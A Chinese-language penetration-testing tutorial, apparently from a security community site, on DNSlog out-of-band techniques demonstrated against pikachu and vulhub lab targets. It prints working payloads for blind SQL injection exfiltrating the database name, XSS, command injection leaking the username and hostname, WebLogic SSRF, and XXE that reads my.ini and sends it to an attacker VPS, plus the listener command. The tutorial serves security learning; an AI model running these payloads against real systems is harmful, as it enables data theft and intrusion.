DNSlog注入技巧(dnslog渗透)

DNSlog简介

DNSlog就是存储在DNS Server上的域名信息,它记载着用户对域名的访问信息,相似日志文件。
 


 

DNSlog应用原理

图片[1]-DNSlog注入技巧(dnslog渗透)-孤勇者社区

假定我们有个 567.com 的域名,我将此域名泛解析到 10.0.0.1 上,这样就招致访问恣意子域 .567.com 都会被指向 10.0.0.1 上,并且在DNSlog中会记载下对 .567.com 的解析,解析值为 10.0.0.1
 


 

常见的DNSlog应用场景

1、SQL盲注

无论时时间盲注还是布尔盲注,都需求发送大量的数据包去判别数据,很容易招致被waf封IP,假如条件允许的话,能够运用dnslog停止快速的数据外带。以Mysql为例,经过dnslog外带数据需求用到load_file函数,所以普通得是root权限,并且secure_file_priv得为空。
以pikachu靶场为例,查看 secure_file_priv 配置

SHOW GLOBAL VARIABLES LIKE '%secure%'

图片[2]-DNSlog注入技巧(dnslog渗透)-孤勇者社区

结构payload如下

1' and (select load_file(concat('//',(select hex(database())),'.82fzab.dnslog.cn/aa')))#

执行后能够看到回显
图片[3]-DNSlog注入技巧(dnslog渗透)-孤勇者社区

执行后能够看到回显

图片[4]-DNSlog注入技巧(dnslog渗透)-孤勇者社区
 

2、无回显XSS

直接结构payload插入,运用户访问歹意外链

<ImG src=http://5pzm7p.dnslog.cn>

图片[5]-DNSlog注入技巧(dnslog渗透)-孤勇者社区

刷新页面后
图片[6]-DNSlog注入技巧(dnslog渗透)-孤勇者社区
 

3、无回显命令注入

发现疑似命令执行的洞,但是目的站点什么也不显现,无法确认是不是有破绽。

windows:

ping %USERNAME%.us0r6c.dnslog.cn

linux:

ping `whoami`.us0r6c.dnslog.cn 或者 x=`hostname`;ping -c 1 $x.d7jlma.dnslog.cn

应用pikachu的ping测试,停止命令执行

图片[7]-DNSlog注入技巧(dnslog渗透)-孤勇者社区

图片[8]-DNSlog注入技巧(dnslog渗透)-孤勇者社区

下面是windows常用的变量。

//变量                     类型       描绘
//%ALLUSERSPROFILE%        本地       返回“一切用户”配置文件的位置。
//%APPDATA%                本地       返回默许状况下应用程序存储数据的位置。
//%CD%                     本地       返回当前目录字符串。
//%CMDCMDLINE%             本地       返回用来启动当前的 Cmd.exe 的精确命令行。
//%CMDEXTVERSION%          系统       返回当前的“命令处置程序扩展”的版本号。
//%COMPUTERNAME%           系统       返回计算机的称号。
//%COMSPEC%                系统       返回命令行解释器可执行程序的精确途径。
//%DATE%                   系统       返回当前日期。运用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的细致信息,请参阅 Date。
//%ERRORLEVEL%             系统       返回上一条命令的错误代码。通常用非零值表示错误。
//%HOMEDRIVE%              系统       返回衔接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMEPATH%               系统       返回用户主目录的完好途径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMESHARE%              系统       返回用户的共享主目录的网络途径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%LOGONSERVER%            本地       返回考证当前登录会话的域控制器的称号。
//%NUMBER_OF_PROCESSORS%   系统       指定装置在计算机上的处置器的数目。
//%OS%                     系统       返回操作系统称号。Windows 2000 显现其操作系统为 Windows_NT。
//%PATH%                   系统       指定可执行文件的搜索途径。
//%PATHEXT%                系统       返回操作系统以为可执行的文件扩展名的列表。
//%PROCESSOR_ARCHITECTURE% 系统       返回处置器的芯片体系构造。值:x86 或 IA64(基于 Itanium)。
//%PROCESSOR_IDENTFIER%    系统       返回处置器阐明。
//%PROCESSOR_LEVEL%        系统       返回计算机上装置的处置器的型号。
//%PROCESSOR_REVISION%     系统       返回处置器的版本号。
//%P ROMPT%                 本地       返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
//%RANDOM%                 系统       返回 0 到 32767 之间的恣意十进制数字。由 Cmd.exe 生成。
//%SYSTEMDRIVE%            系统       返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。
//%SYSTEMROOT%             系统       返回 Windows server operating system 根目录的位置。
//%TEMP%和%TMP%            系统和用户  返回对当前登录用户可用的应用程序所运用的默许暂时目录。有些应用程序需求 TEMP,而其他应用程序则需求 TMP。
//%TIME%                   系统       返回当前时间。运用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的细致信息,请参阅 Time。
//%USERDOMAIN%             本地       返回包含用户帐户的域的称号。
//%USERNAME%               本地       返回当前登录的用户的称号。
//%USERPROFILE%            本地       返回当前用户的配置文件的位置。
//%WINDIR%                 系统       返回操作系统目录的位置。

linux

图片[9]-DNSlog注入技巧(dnslog渗透)-孤勇者社区

图片[10]-DNSlog注入技巧(dnslog渗透)-孤勇者社区
 

4、无回显SSRF

这边用的是vulhub的一个weblogic的ssrf破绽

图片[11]-DNSlog注入技巧(dnslog渗透)-孤勇者社区

结构payload如下

/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://59tcbd.dnslog.cn

图片[12]-DNSlog注入技巧(dnslog渗透)-孤勇者社区

然后查看dnslog有记载,就很有可能存在ssrf破绽

图片[13]-DNSlog注入技巧(dnslog渗透)-孤勇者社区

后面的注入HTTP头,应用Redis反弹shell过程我就不写了~
 

5、XXE盲注

有回显的状况结构payload:

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "http://os1gec.dnslog.cn" >]><value>&xxe;</value>

能够看到触发dnslog恳求
图片[14]-DNSlog注入技巧(dnslog渗透)-孤勇者社区

无回显读文件状况:
这里需求一个VPS,VPS中放入一个DTD的文件,文件dtd内容如下

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C://phpstudy_pro/Extensions/MySQL5.7.26/my.ini"><!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.232.131:1333/?p=%file;'">

然后应用python3开启http效劳,停止监听。

python3 -m http.server --bind 0.0.0.0 1333

阅读器输入pyload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % dtd SYSTEM "http://192.168.232.131:1333/evil.dtd">
%dtd;%int;%send;]>

提交数据后,vps取得一串base64编码。

图片[15]-DNSlog注入技巧(dnslog渗透)-孤勇者社区

将base64编码拿去解码后就是my.ini的文件内容

 

------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞6赞赏 分享
评论 共1条
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片
    • 头像时宇0